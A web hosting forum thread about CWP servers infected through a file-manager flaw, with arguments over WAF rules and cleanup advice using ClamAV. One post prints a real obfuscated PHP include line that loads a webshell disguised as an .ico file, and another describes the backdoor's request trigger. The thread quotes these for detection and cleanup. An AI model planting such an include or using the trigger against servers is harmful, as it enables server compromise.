[CRITICAL] Multiple CWP Servers Infected – Arbitrary PHP Code Execution via Publ

Starburst already gave the answer above:

You need to have your php.ini secured, and run ModSecurity with the latest OWASP CRS ruleset.
Along with running the latest PHP version you choose, 8.1, 8.2, 8.3 or 8.4

And he has guides for updating ModSecurity and the OWASP CRS ruleset (tested on both AlmaLinux 8 and 9):
https://starburst.help/control-web-panel-cwp/modsecurity-running-with-control-web-panel/update-modsecurity-to-2-9-12-running-cwp-and-apache-on-almalinux-9/
https://starburst.help/control-web-panel-cwp/modsecurity-running-with-control-web-panel/update-owasp-crs-ruleset-running-cwp-and-apache-on-almalinux-9/

Those guides are pointless for this issue.
They are to protect the websites, not the CWP itself. The RCE was a exploit in the CWP file manager, not in the websites.

Kindle don't provide false information, and dont mislead users to somethint that is not. You don't appear to even know what is a exploit... even less to provide info about waf protection rules - that, again, DO NOTHING about this issue in CWP.

Hi djprmf,

Thank you for contribution in the 1st paragraph, it is correct and may yet proove helpful to someone.

Your 2nd paragraph however is simply a personal attack on a well respected member of our community to which I and many other members in this forum do not appreciate. Please reframe from such outbursts or if you cannot simply STFU.

Hi 6sense.

https://forum.centos-webpanel.com/informations/is-cwp-still-maintained/
Read the topic.

You cannot take seriously someone that don't know the difference between a PHP exploit and a exploit in a implementation of the code in a application.

He could be a great person, but doesn't know what is talking and is misleading others.

Is ok to say that you don't know something.it is NOT OK to provide false information. And that was what he have done the entire time.
So yes,I provide proofs and knowledge,things that ANYONE CAN SEE AND KNOWS.

not a word from someone...

Bit is simple.prove me wrong....

Then take your conclusions...

Are you just trying to inflate your post count? It seems that any meaningful contribution to this thread and forum community has ceased a while ago. You're beating a war drum with no soldiers rallying behind you, so it rings more than hollow.

I have not posted False or Mis-information.
Your post doesn't even make sense.

And all here know that I know what I'm talking about from my posts.

So just insulting me and others here hasn't made you any friends and lost you any support.

Unlike yourself.

I'm guessing your some kid or tween who just wants to come on the forums, post your BS mis-information, and argue with everyone.

So FOCUS...

This is NOT a CWP bug.

PHP Injection Attacks will happen whenever.

You need to have your php.ini secured, and run ModSecurity with the latest OWASP CRS ruleset.
Along with running the latest PHP version you choose, 8.1, 8.2, 8.3 or 8.4

You'll also need to configured the OWASP base rules for services you run on that server.

NOTE: The CWAF ruleset is dead, and the last update was over a year ago.
Which is sad, this was a great ruleset.

For the PHP Injection Attack that has been going around, there has been fixes here how to clean up your PHP-FPM.

Sure, lets focus and talk.

Can you explain this sentence that you are providing in the quote text?
Kindly inform us how do you say that this is NOT a CWP security vulnerability and how do you get to that conclusion. Plese, don't refrain from use "tech mambo jambo", we are all sysadmin here after all

After that, anything can be changed realy. I notice some plugins changed, and theme files. Also there is a mu-plugin that is created to the redirect.

Location of those changes? Where can i find them?

After that, anything can be changed realy. I notice some plugins changed, and theme files. Also there is a mu-plugin that is created to the redirect.

Location of those changes? Where can i find them?

The attacker have access to every file in your system. It could change anything...
I cannot provide you a "list" of what was changed in your case. Could be just the theme files, or nothing at all - some servers may still have the backdoor placed due to the exploitation of this vulnerability in CWP, but not "activated" - are there just waiting to a request that activates the malicious payload.

The WAF rules provided here can help, but don't fix the problem if your server is already affected.
The good news is that CWP already "silently patched" this vulnerability, so you should be safe from be attacked again if you use CWP.

I didn't check all the WAF rules provided here, but the request is activated with a specific query in a POST request made to the files placed in your server. If you simply access the files, they do nothing.
It should be a request like "domain.xxxx/defaiult.php?t=XXXXXXXXXX" - where XXXXXXXXXX is a specific query.

I did decode the files, and they install a webshell - thats it. What they do after that is from the attacker point of interest.

Unfortunately, if you have been affected by this, you have two options:
- Try to see the files that have been recently changed in your system. Not just the account that is affected, but ALL the system. After that, see if something was malicious changed.
- Don't consider the server safe. Try to deploy your accounts in a fresh new server - and make sure that every single website is also clean. Use something like WordFence, or more abroad, something like CPGuard to scan the accounts.

Cool. Thank you

After that, anything can be changed realy. I notice some plugins changed, and theme files. Also there is a mu-plugin that is created to the redirect.

Location of those changes? Where can i find them?

The attacker have access to every file in your system. It could change anything...
I cannot provide you a "list" of what was changed in your case. Could be just the theme files, or nothing at all - some servers may still have the backdoor placed due to the exploitation of this vulnerability in CWP, but not "activated" - are there just waiting to a request that activates the malicious payload.

The WAF rules provided here can help, but don't fix the problem if your server is already affected.
The good news is that CWP already "silently patched" this vulnerability, so you should be safe from be attacked again if you use CWP.

I didn't check all the WAF rules provided here, but the request is activated with a specific query in a POST request made to the files placed in your server. If you simply access the files, they do nothing.
It should be a request like "domain.xxxx/defaiult.php?t=XXXXXXXXXX" - where XXXXXXXXXX is a specific query.

I did decode the files, and they install a webshell - thats it. What they do after that is from the attacker point of interest.

Unfortunately, if you have been affected by this, you have two options:
- Try to see the files that have been recently changed in your system. Not just the account that is affected, but ALL the system. After that, see if something was malicious changed.
- Don't consider the server safe. Try to deploy your accounts in a fresh new server - and make sure that every single website is also clean. Use something like WordFence, or more abroad, something like CPGuard to scan the accounts.

We are not safe at all. Just today our websites affected again.
This exploit was there since 2021, We've checked all the files and found out some unused websites had defauit.php, backup.c and licelic.c files with timestamp showing 2021. And infected websites will always have robots.txt file.
I thought maybe I could fix it myself by editing filemanager but its an obfuscated file. So we decided to move our customers to another panel.

That's certainly the nuclear option, but as Starburst pointed out, other panels have recently been vulnerable to PHP injection attacks -- even big daddy cPanel. It's up to the sysadmin to be aware of new vulnerabilities and mitigate them. Also, server hardening is essential as you're deploying it live on the Internet -- expect it to be attacked immediately, so make sure all software is up to date and patched, firewall up, keep Mod Security up to date, and best security practices are in place for hardening PHP, MariaDB, filesystem, etc.

There's no need to use external software or an online service to disinfect a server -- use the built-in clamav to scan for malware:

Code: [Select]

freshclam
clamscan --infected --log=/root/virus-scan-report-`date +\%Y-\%m-\%d`.txt --recursive /home
grep -i HEX.Topline /root/virus-scan-report-`date +\%Y-\%m-\%d`.txt
grep -i level.php.sigs /root/virus-scan-report-`date +\%Y-\%m-\%d`.txt If you find PHP injection malware on the topline (the usual php shebang line), it will likely start with the standard PHP opening, then trail far off the right with a long base64 encoded string. So to disinfect the PHP file, replace it with the default shebang :

Code: [Select]

<?phpIf you find a malicious PHP file that looks like this, it can be deleted after taking note of the encoded include line:

Code: [Select]

<?php

/*d16bc*/

@include "\057home\057username/\160ubli\143_htm\154/the\155es/e\156gine\163/php\164empl\141te/.\146ad4b\067e0.i\143o";

/*d16bc*/You can use UnPHP or another service to decode the encode file path, then delete that malicious file (which could be disguised as an .ico file but is in reality a standard PHP file, usually a webshell).

If only CWP team had inform us about... Anything... 🤷‍♂️